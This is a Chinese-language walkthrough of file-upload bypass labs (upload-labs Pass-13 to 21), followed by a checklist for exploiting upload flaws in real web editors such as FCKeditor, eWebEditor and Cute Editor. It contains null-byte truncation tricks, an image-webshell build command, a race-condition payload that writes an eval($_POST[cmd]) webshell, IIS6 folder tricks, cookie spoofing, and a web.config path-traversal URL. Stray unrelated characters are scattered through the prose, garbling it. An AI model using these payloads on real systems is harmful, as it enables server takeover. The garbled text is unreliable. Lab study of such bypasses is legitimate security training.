%00：在url中%00表示ascII碼中的0雌桑，而ascii中0作為特殊字符保留喇喉，表示字符串結(jié)束，所以當(dāng)url中出現(xiàn)%00時(shí)會(huì)認(rèn)為讀取已結(jié)束校坑。

例如

https://mp.csdn.net/upfiles/?filename=test.txt              此時(shí)輸出test.txt
https://mp.csdn.net/upfiles/?filename=test.php%00.text      此時(shí)輸出test.php

0x00：0x00是16進(jìn)制的00拣技，也就是%00解碼成16進(jìn)制。在burp接收到POST數(shù)據(jù)包的時(shí)候耍目，會(huì)將POST數(shù)據(jù)包中的內(nèi)容膏斤，直接進(jìn)行URL編碼了。

我們的常規(guī)操作邪驮，將 `1.php .jpg` 的空格用burp的hex功能莫辨，把0x20改為0x00

或者 `1.php%00.jpg` 中將%00進(jìn)行URL-decode

首先解釋為什么要進(jìn)行url-decode，其原因在于上傳的表單中有一個(gè)enctype的屬性，并且需要enctype="multipart/form-data" (不對(duì)表單數(shù)據(jù)進(jìn)行編碼)沮榜，path大多數(shù)都是存放在表單中的盘榨，因此需要在數(shù)據(jù)包中進(jìn)行urldecode操作使得%00變成字符串結(jié)束字符。

理解：在URL中的%00會(huì)被web服務(wù)器當(dāng)作16進(jìn)制處理蟆融，然后自動(dòng)翻譯成ascii碼實(shí)現(xiàn)截?cái)嗖菅玻欢赽urp中16進(jìn)制編輯器將空格20改成了00。本質(zhì)來(lái)說(shuō)型酥，都是利用0x00是字符串的結(jié)束標(biāo)識(shí)符山憨，進(jìn)行截?cái)唷?/p>

Pass-13 0x00截?cái)嗬@過(guò)

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳失敗";
        }
    } else {
        $msg = "只允許上傳.jpg|.png|.gif類型文件！";
    }
}

和上題一樣都是00截?cái)嗝趾恚@里就需要url-decode了

image-20200106092450725

php 00截?cái)鄺l件

1郁竟、版本小于5.3.4

2、magic_quotes_gpc為OFF

Pass-14 文件頭檢測(cè)

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只讀2字節(jié)
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知由境，上傳失斉锬丁！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯(cuò)藻肄！";
        }
    }
}

檢測(cè)文件內(nèi)容的前兩個(gè)字節(jié)蔑舞，然后使用文件包含繞過(guò)

我們這里制作圖片馬，網(wǎng)上說(shuō)也可以采用在文件內(nèi)容前加GIF89a

copy x.jpg/b+1.txt/a 1.jpg

image-20200106103720655

本地環(huán)境不知道為什么嘹屯，圖片馬包含一直報(bào)錯(cuò)攻询，但是放在Linux服務(wù)器上包含能解析出來(lái)

后來(lái)我換了一張圖片，就能包含成功了

Pass-15 getimagesize繞過(guò)

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
        $info = getimagesize($filename);
        $ext = image_type_to_extension($info[2]);
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知州弟，上傳失斁堋！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯(cuò)婆翔！";
        }
    }
}

這里采用的 getimagesize

這個(gè)函數(shù)是通過(guò)獲取圖片數(shù)據(jù)流中頭部幾個(gè)字節(jié)來(lái)判斷圖片類型的拯杠，這樣就為webshell注入提供了機(jī)會(huì)，木馬程序只需要在頭部插入相關(guān)圖片類型幾個(gè)字節(jié)啃奴，就可以繞過(guò)getimagesize的檢測(cè)潭陪。

我們這里也可以采用圖片馬繞過(guò)。

Pass-16 exif_imagetype 繞過(guò)

function isImage($filename){
    //需要開(kāi)啟php_exif模塊
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知最蕾，上傳失斠浪荨！";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上傳出錯(cuò)瘟则！";
        }
    }
}

方法和上面一致的

文件頭值：

jpg:FFD8FFE000104A464946
png:89504E470D0A1A0A
gif:474946383961

Pass-17 二次渲染繞過(guò)

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 獲得上傳文件的基本信息黎炉，文件名，類型醋拧，大小慷嗜，臨時(shí)文件路徑
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 獲得上傳文件的擴(kuò)展名
    $fileext= substr(strrchr($filename,"."),1);

    //判斷文件后綴與類型淀弹，合法才進(jìn)行上傳操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "該文件不是jpg格式的圖片！";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //顯示二次渲染后的圖片（使用用戶上傳圖片生成的新圖片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯(cuò)庆械！";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "該文件不是png格式的圖片薇溃！";
                @unlink($target_path);
            }else{
                 //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //顯示二次渲染后的圖片（使用用戶上傳圖片生成的新圖片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上傳出錯(cuò)！";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上傳的圖片生成新的圖片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "該文件不是gif格式的圖片干奢！";
                @unlink($target_path);
            }else{
                //給新圖片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //顯示二次渲染后的圖片（使用用戶上傳圖片生成的新圖片）
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上傳出錯(cuò)痊焊！";
        }
    }else{
        $msg = "只允許上傳后綴為.jpg|.png|.gif的圖片文件！";
    }
}

這里判斷了后綴名忿峻，content-type，然后利用 imagecreatefromgif 判斷內(nèi)容辕羽，最后做了二次渲染逛尚，二次渲染的意思是利用你上傳的圖片生成一個(gè)新的圖片。

判斷圖片有沒(méi)有被二次渲染可以上傳圖片馬刁愿，然后下載服務(wù)器上的圖片绰寞，用16進(jìn)制編輯器打開(kāi)對(duì)比下。

GIF：二次渲染的繞過(guò)需要找到渲染前后沒(méi)有變化的位置铣口，然后將PHP代碼寫(xiě)進(jìn)去就可以了滤钱。
PNG和JPG的渲染繞過(guò)有點(diǎn)沒(méi)看懂。脑题。件缸。
詳情：https://xz.aliyun.com/t/2657

Pass-18 條件競(jìng)爭(zhēng)上傳

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件！";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯(cuò)叔遂！';
    }
}

可以看到這里是先上傳再做檢測(cè)他炊，如果檢測(cè)不再白名單里，則刪除已艰，我們可以利用這個(gè)時(shí)間差來(lái)做條件競(jìng)爭(zhēng)上傳

<?php fputs(fopen('x.php','w'),'<?php eval($_POST[cmd])?>');?>

然后不停的用Intruder發(fā)上傳包

image-20200106135601100

同時(shí)不停的發(fā)請(qǐng)求包痊末，利用時(shí)間差訪問(wèn)這個(gè)上傳的php

image-20200106135645234

image-20200106135838289

這個(gè)shell.php便是臨時(shí)存在的php代碼，而x.php則是我們burp請(qǐng)求到shell.php生成的哩掺。具體觀察會(huì)發(fā)現(xiàn)凿叠，shell.php生成了一會(huì)就會(huì)被刪除，如果訪問(wèn)到了嚼吞，就會(huì)生成x.php盒件，這個(gè)x.php不會(huì)被刪除。

Pass-19 條件競(jìng)爭(zhēng)配合解析漏洞上傳

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已經(jīng)被上傳誊薄，但沒(méi)有重命名履恩。';
            break; 
        case -1:
            $msg = '這個(gè)文件不能上傳到服務(wù)器的臨時(shí)文件存儲(chǔ)目錄。';
            break; 
        case -2:
            $msg = '上傳失敗呢蔫，上傳目錄不可寫(xiě)切心。';
            break; 
        case -3:
            $msg = '上傳失敗飒筑，無(wú)法上傳該類型文件。';
            break; 
        case -4:
            $msg = '上傳失敗绽昏，上傳的文件過(guò)大协屡。';
            break; 
        case -5:
            $msg = '上傳失敗，服務(wù)器已經(jīng)存在相同名稱文件全谤。';
            break; 
        case -6:
            $msg = '文件無(wú)法上傳肤晓，文件不能復(fù)制到目標(biāo)目錄。';
            break;      
        default:
            $msg = '未知錯(cuò)誤认然！';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

我們看看MyUpload類的源代碼

MyUpload構(gòu)造函數(shù)：

? 初始化4個(gè)值补憾，文件名，臨時(shí)文件名卷员，文件大小盈匾，重命名

isUploadedFile 函數(shù)：

? is_uploaded_file函數(shù)檢測(cè)是否為http post上傳文件

setDir 函數(shù)

? 初始化上傳路勁

checkExtension 函數(shù)：

? 檢測(cè)后綴（白名單檢測(cè)）

checkSize 函數(shù)：

? 檢測(cè)文件大小

move 函數(shù)：

? 上傳臨時(shí)文件

checkFileExists 函數(shù)：

? 檢測(cè)文件是否存在

renameFile 函數(shù)：

? 將上傳的文件改名

再看 upload 函數(shù)經(jīng)過(guò)檢測(cè)后

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

$this->cls_upload_dir . $this->cls_filename
$this->cls_upload_dir為$status_code = $u->upload(UPLOAD_PATH);主函數(shù)設(shè)置的全局變量
define("UPLOAD_PATH", "../upload");  config.php文件里的定義
這里展示的是上傳文件名為../upload拼接文件名

這里是先上傳再改名，意思是如果能繞過(guò)上面的檢測(cè)毕骡，就能通過(guò)條件競(jìng)爭(zhēng)來(lái)上傳了削饵。

官網(wǎng)上說(shuō)的是必須利用LINUX環(huán)境。我們可以嘗試?yán)胊pache解析漏洞配合未巫。

image-20200106200223855

image-20200106200136020

操作和上面的一個(gè)一樣窿撬，我們這里傳的一個(gè)x.php.tiff，然后不停的發(fā)包請(qǐng)求叙凡，利用的apache解析漏洞

image-20200106200702544

就能成功利用了

Pass-20 CVE-2015-2348

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上傳出錯(cuò)劈伴！';
            }
        }else{
            $msg = '禁止保存為該類型文件！';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夾不存在,請(qǐng)手工創(chuàng)建狭姨！';
    }
}

這里使用了 pathinfo 返回字符串再檢測(cè)宰啦，然后利用 move_uploaded_file 上傳

這個(gè)函數(shù)存在任意文件上傳的漏洞CVE-2015-2348

image-20200106202705924

我們這里 $file_name 可控，就導(dǎo)致 $img_path 饼拍，就導(dǎo)致 move_uploaded_file 函數(shù)里的 $destination 可控赡模。

這里采用00截?cái)?/p>

image-20200106203326421

網(wǎng)上另外的解法是 1.php/. ，因?yàn)?move_uploaded_file 上傳時(shí)會(huì)忽略 /.

Pass-21 數(shù)組繞過(guò)

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //檢查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上傳該類型文件!";
    }else{
        //檢查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上傳該后綴文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上傳成功师抄！";
                $is_upload = true;
            } else {
                $msg = "文件上傳失斃旄獭！";
            }
        }
    }
}else{
    $msg = "請(qǐng)選擇要上傳的文件叨吮！";
}

我們這里分析下源碼

$allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type))

首先辆布，這里進(jìn)行了文件類型檢測(cè)，MIME

if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

這里如果$file不是數(shù)組茶鉴，則按照 . 分割成數(shù)組并小寫(xiě)（如果傳入數(shù)組則繞過(guò)這步）

$ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix))

取數(shù)組的最后一個(gè)來(lái)進(jìn)行白名單驗(yàn)證（如果我們直接傳入的數(shù)組最后一個(gè)是在白名單里锋玲，則繞過(guò)這步）

$file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) 

$file_name為數(shù)組里第一個(gè)拼接一個(gè) . 再拼接數(shù)組第長(zhǎng)度減一個(gè)再上傳

我們這里可以構(gòu)造一個(gè)數(shù)組[0] [2]，[0]來(lái)構(gòu)成reset($file)，[2]來(lái)繞過(guò)白名單

最后在拼接的時(shí)候埋酬，由于[1]為空所以會(huì)多出一個(gè) . 這里可以采用Winodws特性，或者move_uploaded_file 上傳時(shí)會(huì)忽略 /.

image-20200106210948311

0x04 編輯器上傳漏洞

FCKeditor

查看FCKeditor版本

http://127.0.0.1/fckeditor/editor/dialog/fck_about.html
http://127.0.0.1/FCKeditor/_whatsnew.html

測(cè)試文件

FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html

FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
FCKeditor/_samples/default.html
FCKeditor/editor/fckeditor.htm
FCKeditor/editor/fckdialog.html

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/aspx/connector.aspx
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/jsp/connector.jsp

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php

突破上傳

改擴(kuò)展名艇纺、%00截?cái)喽芡搿⑻砑游募^等

二次上傳繞過(guò)FCK在上傳了諸如shell.asp;.jpg的文件后媚污，會(huì)自動(dòng)將文件名改為shell_asp;.jpg⊥⒀牛可以繼續(xù)上傳同名文件耗美，文件名會(huì)變?yōu)閟hell.asp;(1).jpg

提交shell.php+空格繞過(guò)（windows特性）

IIS6.0突破文件夾限制

Fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=File&CurrentFolder=/shell.asp&NewFolderName=z.asp
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp

文件解析限制

通過(guò)FCKeditor編輯器在文件上傳頁(yè)面中，創(chuàng)建1.asp文件夾航缀，然后再到該文件夾下上傳圖片商架，配合iis6.0解析漏洞

http://www.xxx.com/images/upload/201806/image/1.asp/1.jpg

Ewebeditor

進(jìn)入后臺(tái)

弱口令
下載默認(rèn)數(shù)據(jù)庫(kù) ewebeditor/db/ewebeditor.mdb
burp爆破
利用注入點(diǎn)

然后添加樣式，添加按鈕芥玉，使用IE瀏覽器（不可以上傳的話打開(kāi)兼容性視圖設(shè)置）上傳

CKFinder

其1.4.3 asp.net版本存在任意文件上傳漏洞

Kindeditor

<= 4.10 存在文件上傳漏洞

只能上傳 html, htm 釣魚(yú)

南方數(shù)據(jù)編輯器southidceditor

登陸后臺(tái)甸私，利用編輯器上傳，訪問(wèn)admin/southidceditor/admin_style.asp飞傀，修改編輯器央視，增加asa诬烹，然后后臺(tái)上傳

UEditor

利用iis6.0解析漏洞

DotNetTextBox

關(guān)鍵字:system_dntb/
確定有system_dntb/uploadimg.aspx并能打開(kāi)砸烦，這時(shí)候是不能上傳的，由于他是驗(yàn)證cookie來(lái)得出上傳后的路徑绞吁，這樣我們可以用cookie欺騙工具
cookie:UserType=0;IsEdition=0;Info=1;
uploadFolder=../system_dntb/Upload/;
路徑可以修改幢痘，只要權(quán)限夠，上傳后改名為1.asp;.jpg利用iis解析漏洞

PHPWEB網(wǎng)站管理系統(tǒng)后臺(tái)Keditor

1家破、IIS6.0文件名解析漏洞

2颜说、%00截?cái)?/p>

Cute Editor在線編輯器本地包含漏洞

影響版本：

Cute Editor For Net 6.4

http://www.xx.com/Cute_Client?CuteEditor/Load.ashx?type=image&file=../../../web.config

總結(jié)：編輯器漏洞說(shuō)到底還是采用各種上傳姿勢(shì)來(lái)進(jìn)行利用的